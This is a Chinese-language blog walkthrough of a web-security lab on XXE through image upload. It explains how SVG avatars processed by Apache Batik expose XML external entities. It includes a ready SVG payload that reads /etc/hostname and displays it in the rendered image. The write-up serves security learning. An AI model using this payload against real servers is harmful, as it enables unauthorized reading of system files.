Lab: Exploiting XXE via image file upload :通过上传图片文件利用 XXE

通过文件上传的 XXE 攻击

一些应用程序允许用户上传文件,然后在服务器端进行处理。一些常见的文件格式使用 XML 或包含 XML 子组件。基于 XML 的格式的示例是办公文档格式(如 DOCX)和图像格式(如 SVG)。

例如,应用程序可能允许用户上传图像,并在上传后在服务器上处理或验证这些图像。即使应用程序希望接收 PNG 或 JPEG 等格式,所使用的图像处理库也可能支持 SVG 图像。由于 SVG 格式使用 XML,攻击者可以提交恶意的 SVG 图像,从而达到 XXE 漏洞的隐藏攻击面。

实验室

该实验室允许用户将头像附加到评论中,并使用 Apache Batik 库来处理头像图像文件。

要解决实验室问题,请上传/etc/hostname处理后显示文件内容的图像。然后使用“提交解决方案”按钮提交服务器主机名的值。

使用以下内容创建本地 SVG 图像:
<?xml version="1.0" standalone="yes"?><!DOCTYPE test [ <!ENTITY xxe SYSTEM "file:///etc/hostname" > ]><svg width="128px" height="128px" xmlns="http://www.w3.org/2000/svg" xmlns:xlink="http://www.w3.org/1999/xlink" version="1.1"><text font-size="16" x="0" y="16">&xxe;</text></svg>
在博客文章上发表评论,并上传此图片作为头像。
image
查看评论时,您应该会/etc/hostname在图像中看到文件的内容。使用“提交解决方案”按钮提交服务器主机名的值。
image

posted @ 2021-08-26 15:41  Zeker62  阅读(387)  评论(0编辑  收藏  举报